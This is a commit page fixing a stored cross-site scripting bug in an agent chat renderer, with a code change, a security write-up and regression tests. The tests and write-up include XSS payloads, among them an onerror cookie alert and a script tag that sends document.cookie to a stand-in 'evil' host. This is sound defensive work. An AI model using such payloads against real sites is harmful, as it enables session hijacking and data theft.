Skip to content

Commit a023ede

Browse files
notSumit25claude
andcommitted
fix(security): escape HTML in agent chat before markdown substitution
AgentView renders assistant replies through dangerouslySetInnerHTML, and the boldify function feeding it escaped nothing — it applied its markdown substitutions to the raw string, so every character of a reply was parsed as markup. Confirmed by executing the shipped function rather than reading it: boldify('<img src=x onerror=alert(document.cookie)>') returned the payload byte for byte, and in a browser Chromium parsed it into a real <img> element and fired its onerror handler. This is stored, not reflected. agent_conversation.transcript is a JSONB column replayed into the renderer on load, so a payload fires on every visit. The input is not trusted either: the agent echoes database content, and a real stored transcript here reads "It rewrites the whole `t` table" where `t` is a table name read from the database — the same channel an injected identifier arrives on. Severity is capped but not removed. Auth is an httpOnly cookie so the token cannot be read, but client.js sends withCredentials, so injected script acts as the reader against the API. Escapes before substituting. The order is load-bearing: escaping after would also escape the <strong> and <code> tags this function emits and print literal tag text, so both halves are pinned by tests. Swapping in the safe renderer that already exists (AgentChat/AgentMarkdown.jsx) is the better long-term shape but carries its own CSS module, table component and link handling — a visual redesign inside a security fix, so it is left for its own PR. Brain/AgentArtifacts.jsx had the identical bug with a styled <code> tag, currently unreachable behind AGENTS_ENABLED=false but live the day that flips. Both renderers now share one escaping implementation and pass only presentation in, so they cannot drift apart the way two copies would. Verified: 6 of 12 tests fail against the real shipped function and pass after; removing escapeHtml fails 7. In a browser the old path executed the handler and left one real <img> in the DOM, the fixed path executed nothing, left zero, and renders the payload as visible text. Build clean, 22 frontend tests pass, and lint is unchanged against main's baseline (41 errors both sides, 0 in the four files touched). Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
1 parent 8b391c7 commit a023ede

6 files changed

Lines changed: 306 additions & 9 deletions

File tree

‎CLAUDE.md‎

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -502,6 +502,26 @@ report in chat, but it never computes it.
502502
7. **Virtual Threads**: Enabled for concurrency (JDK 25).
503503

504504
### Frontend Rules
505+
506+
0. **Anything reaching `dangerouslySetInnerHTML` must be escaped at the source.**
507+
`AgentView`'s `boldify` applied its markdown substitutions to the raw string and escaped
508+
nothing, so every character of an assistant reply was parsed as markup — verified by
509+
executing it: `boldify('<img src=x onerror=…>')` returned the payload byte for byte, and
510+
in a browser Chromium built a real `<img>` element and fired its handler. It is **stored**
511+
XSS: `agent_conversation.transcript` is replayed into the renderer on load, and the agent
512+
echoes database content, so a table named `<img src=x onerror=…>` renders in an analyst's
513+
browser. httpOnly cookies mean the token cannot be read, but `withCredentials` means the
514+
payload acts *as* the reader. **Escape before substituting, never after** — escaping after
515+
would escape the `<strong>`/`<code>` tags the function itself emits and print literal tag
516+
text. Note `<script>` via `innerHTML` does **not** execute (HTML spec); the live vector is
517+
an event-handler attribute, which is what a regression test must assert on.
518+
`Brain/AgentArtifacts.jsx` had the same bug with a styled `<code>`; both now share one
519+
escape and pass only presentation in, so the two cannot drift. A safe renderer already
520+
exists (`AgentChat/AgentMarkdown.jsx` — `ReactMarkdown` + `remarkGfm`, no `rehype-raw`)
521+
and is the better long-term shape, but swapping it into `AgentView` is a visual redesign,
522+
not a security fix. There is still **no CSP header**, so nothing stands behind this.
523+
See `docs/security/2026-09-16-agent-chat-stored-xss.md`.
524+
505525
1. **API Centralization**: ALL API calls through `src/lib/api/client.js`. Never create direct axios instances.
506526
2. **Server State**: Use TanStack Query hooks from `src/lib/hooks/queries/` (not useState/useEffect for data fetching).
507527
3. **UI State**: Use Zustand stores from `src/lib/stores/`. Prefer selector hooks for optimized re-renders.
Lines changed: 124 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,124 @@
1+
# Agent chat rendered agent output as HTML
2+
3+
*Found 2026-09-10 in a repository-wide security audit; fixed and verified in a browser
4+
2026-09-16. Severity: high.*
5+
6+
## What was wrong
7+
8+
`AgentView` renders assistant replies through `dangerouslySetInnerHTML`, and the function
9+
feeding it escaped nothing:
10+
11+
```js
12+
function boldify(text) {
13+
return text
14+
.replace(/\*\*(.*?)\*\*/g, "<strong>$1</strong>")
15+
.replace(/`([^`]+)`/g, "<code>$1</code>");
16+
}
17+
```
18+
19+
Two sinks used it (`AgentView.jsx:906` and `:910`), so every character of an assistant
20+
reply was parsed as markup. Confirmed by **executing the shipped function**, not by reading
21+
it:
22+
23+
```
24+
IN : <img src=x onerror=alert(document.cookie)>
25+
OUT: <img src=x onerror=alert(document.cookie)> byte for byte
26+
```
27+
28+
`**a" onmouseover="alert(1)**` was worse than it looks: the `**` delimiters are consumed by
29+
the substitution, so the attacker's quotes survived into the emitted tag and grew an
30+
attribute on it.
31+
32+
## Why it mattered
33+
34+
**Stored, not reflected.** `agent_conversation.transcript` is a JSONB column replayed into
35+
this renderer on load, so a payload fires again on every visit rather than once.
36+
37+
**The input is not trusted.** The agent echoes database content — table names, column
38+
comments, sampled values. A real stored transcript in this install reads:
39+
40+
> No — `**DANGER**`. It rewrites the whole `` `t` `` table, takes an
41+
> `**AccessExclusiveLock**` …
42+
43+
where `` `t` `` is a table name the agent read from the database. That is the same channel
44+
an injected identifier arrives on: name a table `<img src=x onerror=…>` and the agent will
45+
faithfully repeat it into an analyst's browser.
46+
47+
**Severity is capped, not removed.** Auth is an httpOnly cookie
48+
(`AuthSessionService.java:256`), so the token itself cannot be read by injected script.
49+
But `client.js` sends `withCredentials: true`, so the payload *acts as the reader* against
50+
the API — running queries, reading results, and reaching admin endpoints if the reader is an
51+
admin. Account takeover becomes session riding, which is better and still high.
52+
53+
One nuance worth recording so it is not rediscovered: a `<script>` tag inserted via
54+
`innerHTML` **does not execute** (HTML spec). The live vector is an event-handler attribute
55+
such as `onerror`. Both are escaped; the distinction matters when writing the regression
56+
test, because asserting only on `<script>` would prove nothing.
57+
58+
## The fix
59+
60+
Escape first, then substitute:
61+
62+
```js
63+
export function boldify(text, codeTag = PLAIN_CODE_TAG) {
64+
if (!text) return "";
65+
return escapeHtml(text)
66+
.replace(/\*\*(.*?)\*\*/g, "<strong>$1</strong>")
67+
.replace(/`([^`]+)`/g, codeTag);
68+
}
69+
```
70+
71+
**Order is load-bearing.** Escaping *after* the substitutions would also escape the
72+
`<strong>` and `<code>` tags this function emits, and the reader would see literal tag text
73+
instead of formatting. That is the obvious thing to "simplify" later, so both halves are
74+
pinned by tests.
75+
76+
**Why not swap in the safe renderer that already exists.** `AgentChat/AgentMarkdown.jsx`
77+
uses `ReactMarkdown` + `remarkGfm`, which escapes HTML by default and deliberately omits
78+
`rehype-raw`. It is the right long-term answer, but it is a *complete* renderer carrying its
79+
own CSS module, a `DownloadableTable` and link handling, while `AgentView` has bespoke inline
80+
styles for headings, bullets and fenced blocks. Swapping it in would make this a visual
81+
redesign inside a security fix — harder to review, riskier to merge. Escaping at the source
82+
is four lines and changes no pixels.
83+
84+
**Why not escape everything.** The agent leans on this formatting heavily, as the real
85+
transcript above shows. A fix that rendered `**DANGER**` as literal asterisks would be
86+
rejected by its users.
87+
88+
## The sibling sink
89+
90+
`Brain/AgentArtifacts.jsx:136` had the identical bug with a *styled* `<code>` tag. It is
91+
currently unreachable — `features.js` has `AGENTS_ENABLED = false`, which removes `brain`
92+
from the section map — but it is dead-code-adjacent rather than dead: the day that flag
93+
flips, it is live.
94+
95+
Both renderers now share one escaping implementation, with only the code-tag markup passed
96+
in. Duplicating the escape into both files is what lets one get fixed and the other missed —
97+
the same drift the Java and JS SQL guards are kept in sync to avoid.
98+
99+
## Verification
100+
101+
| Step | Result |
102+
|---|---|
103+
| Tests against the real shipped `boldify` (RED) | **6 fail**, 5 pass — the 5 are the formatting cases, so they are not vacuous |
104+
| Tests after the fix (GREEN) | 12 pass |
105+
| `escapeHtml` removed (mutation) | **7 fail** — the tests guard the fix |
106+
| Browser, payload through old code | `onerror` **executed**; 1 real `<img>` element in the DOM |
107+
| Browser, payload through fixed code | `onerror` **did not execute**; **0** `<img>` elements; payload shown as visible text |
108+
| `npm run build` | clean |
109+
| `npm run lint` | 41 errors on main, **41 with this change** — unchanged baseline; 0 errors in the four files touched |
110+
| Frontend tests | 22 pass, 0 fail |
111+
112+
The browser check is the one that matters. `imgTagsBefore: 1` shows Chromium parsed the
113+
payload into a real element and fired its handler; `imgTagsAfter: 0` with the tag visible as
114+
text shows the fixed path renders it as the data it is.
115+
116+
## Residual work
117+
118+
- There is **no `Content-Security-Policy` header**. `docker/nginx/default.conf` sets
119+
`X-Frame-Options`, `X-Content-Type-Options` and `Referrer-Policy` but no CSP, so nothing
120+
stands behind an escaping bug if another one is introduced. A `script-src` without
121+
`unsafe-inline` is the defence in depth this sink deserves; it is a deployment change with
122+
its own blast radius and belongs in its own PR.
123+
- Migrating `AgentView` to `AgentMarkdown` remains the better long-term shape, as a
124+
deliberate UI change rather than a security fix.

‎src/components/Agent/AgentView.jsx‎

Lines changed: 1 addition & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,7 @@ import FeedbackButtons from "@/components/FeedbackButtons";
1616
import CreateAgentModal from "@/components/Brain/CreateAgentModal";
1717
import { saveAgent } from "@/components/Brain/brainAgentStore";
1818
import styles from "./AgentView.module.css";
19+
import { boldify } from "./boldify.js";
1920

2021
const FALLBACK_PROMPTS = [
2122
{
@@ -882,12 +883,6 @@ function WaveText({ text, className }) {
882883
);
883884
}
884885

885-
function boldify(text) {
886-
return text
887-
.replace(/\*\*(.*?)\*\*/g, "<strong>$1</strong>")
888-
.replace(/`([^`]+)`/g, "<code>$1</code>");
889-
}
890-
891886
function renderMarkdownLine(line, i) {
892887
if (!line.trim()) return <br key={i} />;
893888
if (line.match(/^#{1,3}\s/)) {

‎src/components/Agent/boldify.js‎

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
// Inline markdown for Agent chat, rendered through dangerouslySetInnerHTML in AgentView.
2+
//
3+
// Every character returned here is parsed as HTML, so the escape is not optional. The
4+
// original applied its substitutions to the raw string and escaped nothing, which made
5+
// agent output — and any database value the agent echoes, such as a table name — render
6+
// as markup in the reader's browser. Confirmed by executing the shipped function:
7+
// boldify('<img src=x onerror=alert(document.cookie)>') returned the payload byte for byte.
8+
//
9+
// The payload is stored rather than reflected: agent_conversation.transcript is replayed
10+
// into this renderer on load, so it fires again on every visit. Auth is an httpOnly
11+
// cookie, so the token itself cannot be read — but client.js sends withCredentials, so
12+
// injected script acts as the reader against the API.
13+
//
14+
// Order is load-bearing. Escaping must happen BEFORE the substitutions; escaping after
15+
// would also escape the <strong> and <code> tags this function emits, and the reader
16+
// would see literal tag text instead of formatting. boldify.test.js pins both halves.
17+
18+
const HTML_ESCAPES = {
19+
"&": "&amp;",
20+
"<": "&lt;",
21+
">": "&gt;",
22+
'"': "&quot;",
23+
"'": "&#39;",
24+
};
25+
26+
function escapeHtml(text) {
27+
return text.replace(/[&<>"']/g, (char) => HTML_ESCAPES[char]);
28+
}
29+
30+
const PLAIN_CODE_TAG = "<code>$1</code>";
31+
32+
/**
33+
* Escapes HTML, then renders `**bold**` and `` `code` `` as real tags.
34+
*
35+
* `codeTag` lets a caller supply its own <code> markup — Brain's AgentArtifacts styles
36+
* its inline code differently. Only presentation is a parameter; the escaping above is
37+
* shared on purpose, so the two renderers cannot drift apart on the half that matters.
38+
*/
39+
export function boldify(text, codeTag = PLAIN_CODE_TAG) {
40+
if (!text) return "";
41+
return escapeHtml(text)
42+
.replace(/\*\*(.*?)\*\*/g, "<strong>$1</strong>")
43+
.replace(/`([^`]+)`/g, codeTag);
44+
}
Lines changed: 110 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,110 @@
1+
import test from 'node:test'
2+
import assert from 'node:assert/strict'
3+
import { boldify } from './boldify.js'
4+
5+
// boldify's output goes straight into dangerouslySetInnerHTML in AgentView, so every
6+
// character it returns is parsed as HTML. It applied its markdown substitutions to the
7+
// raw string and escaped nothing, which made agent output — and therefore any database
8+
// value the agent echoes — executable in the reader's browser.
9+
//
10+
// Confirmed by executing the shipped function, not by reading it:
11+
// boldify('<img src=x onerror=alert(document.cookie)>')
12+
// -> '<img src=x onerror=alert(document.cookie)>' (byte-for-byte)
13+
//
14+
// The payload is stored, not reflected: agent_conversation.transcript is replayed into
15+
// this renderer on load, so it fires again on every visit.
16+
17+
test('escapes an image-with-onerror payload instead of returning it verbatim', () => {
18+
const out = boldify('<img src=x onerror=alert(document.cookie)>')
19+
20+
assert.ok(!out.includes('<img'), `raw <img reached innerHTML: ${out}`)
21+
assert.ok(out.includes('&lt;img'), `payload was not escaped: ${out}`)
22+
})
23+
24+
// <script> inserted via innerHTML does not execute, per the HTML spec — the live vector
25+
// is an event-handler attribute. Both are escaped; this case is kept so the distinction
26+
// stays on the record rather than being rediscovered.
27+
test('escapes a script tag', () => {
28+
const out = boldify('<script>fetch("//evil/"+document.cookie)</script>')
29+
30+
assert.ok(!out.includes('<script>'), `raw <script> reached innerHTML: ${out}`)
31+
assert.ok(out.includes('&lt;script&gt;'), out)
32+
})
33+
34+
// The delimiters are consumed by the substitution, so the attacker's quote has to survive
35+
// as data. Unescaped, `**a" onmouseover="alert(1)**` closed <strong>'s attribute list.
36+
test('escapes quotes so a bold span cannot grow an attribute', () => {
37+
const out = boldify('**a" onmouseover="alert(1)**')
38+
39+
assert.ok(!out.includes('onmouseover="alert(1)"'), `attribute injection survived: ${out}`)
40+
assert.ok(out.includes('&quot;'), out)
41+
})
42+
43+
test('escapes a javascript: href smuggled through an anchor', () => {
44+
const out = boldify('<a href="javascript:alert(1)">x</a>')
45+
46+
assert.ok(!out.includes('<a href'), out)
47+
})
48+
49+
// Escaping has to happen BEFORE the markdown substitutions, or the <strong> and <code>
50+
// tags boldify emits are themselves escaped and the reader sees literal tag text. That
51+
// ordering is the whole subtlety of this fix and is the obvious thing to "simplify"
52+
// later, so it is pinned here.
53+
test('still renders bold markdown as real strong tags', () => {
54+
assert.equal(boldify('a **b** c'), 'a <strong>b</strong> c')
55+
})
56+
57+
test('still renders inline code as real code tags', () => {
58+
assert.equal(boldify('run `SELECT 1` now'), 'run <code>SELECT 1</code> now')
59+
})
60+
61+
// Taken from a real stored transcript (agent_conversation.transcript). The agent leans on
62+
// bold and inline code heavily, and the `t` here is a table name echoed from the database —
63+
// the same channel an injected identifier would arrive on. A fix that broke this formatting
64+
// would be rejected by its users, which is why escaping everything was not an option.
65+
test('renders a real agent reply with its formatting intact', () => {
66+
const out = boldify('No — **DANGER**. It rewrites the whole `t` table, taking an **AccessExclusiveLock**.')
67+
68+
assert.equal(
69+
out,
70+
'No — <strong>DANGER</strong>. It rewrites the whole <code>t</code> table, '
71+
+ 'taking an <strong>AccessExclusiveLock</strong>.'
72+
)
73+
})
74+
75+
// A table named by an attacker still has to read as its own name, not as markup.
76+
test('escapes html inside a bold span rather than emitting it', () => {
77+
const out = boldify('**<img src=x onerror=alert(1)>**')
78+
79+
assert.ok(out.startsWith('<strong>'), out)
80+
assert.ok(!out.includes('<img'), out)
81+
assert.ok(out.includes('&lt;img'), out)
82+
})
83+
84+
test('escapes ampersands so an entity cannot be reconstructed', () => {
85+
assert.equal(boldify('a & b'), 'a &amp; b')
86+
assert.ok(!boldify('&lt;img&gt;').includes('&lt;img&gt;'.replace('&lt;', '<')))
87+
})
88+
89+
test('leaves ordinary prose untouched', () => {
90+
assert.equal(boldify('just a normal sentence'), 'just a normal sentence')
91+
})
92+
93+
test('handles empty and whitespace input', () => {
94+
assert.equal(boldify(''), '')
95+
assert.equal(boldify(' '), ' ')
96+
})
97+
98+
// Brain's AgentArtifacts passes its own <code> markup. Presentation differs; the escaping
99+
// must not, or fixing one renderer would leave the other injectable.
100+
test('escapes the same way when a caller supplies its own code tag', () => {
101+
const styled = '<code style="background:#f3f4f6">$1</code>'
102+
103+
assert.equal(
104+
boldify('run `SELECT 1`', styled),
105+
'run <code style="background:#f3f4f6">SELECT 1</code>'
106+
)
107+
const out = boldify('<img src=x onerror=alert(1)>', styled)
108+
assert.ok(!out.includes('<img'), out)
109+
assert.ok(out.includes('&lt;img'), out)
110+
})

‎src/components/Brain/AgentArtifacts.jsx‎

Lines changed: 7 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,7 @@ import {
1818
import * as XLSX from 'xlsx'
1919
import { Download, FileSpreadsheet, FileText, ChevronDown, ChevronUp } from 'lucide-react'
2020
import styles from './AgentArtifacts.module.css'
21+
import { boldify as sharedBoldify } from '../Agent/boldify.js'
2122

2223
// ── Palette ───────────────────────────────────────────────────────────────────
2324

@@ -133,10 +134,13 @@ function chartToRows(data) {
133134

134135
// ── Markdown text renderer ───────────────────────────────────────────────────
135136

137+
// Presentation only — the escaping lives in the shared module so this renderer and
138+
// AgentView cannot diverge on the half that stops injected markup executing.
139+
const STYLED_CODE_TAG =
140+
'<code style="background:#f3f4f6;padding:1px 5px;border-radius:3px;font-size:0.88em;font-family:monospace">$1</code>'
141+
136142
function boldify(text) {
137-
return text
138-
.replace(/\*\*(.*?)\*\*/g, '<strong>$1</strong>')
139-
.replace(/`([^`]+)`/g, '<code style="background:#f3f4f6;padding:1px 5px;border-radius:3px;font-size:0.88em;font-family:monospace">$1</code>')
143+
return sharedBoldify(text, STYLED_CODE_TAG)
140144
}
141145

142146
function RenderText({ content }) {

0 commit comments

Comments
 (0)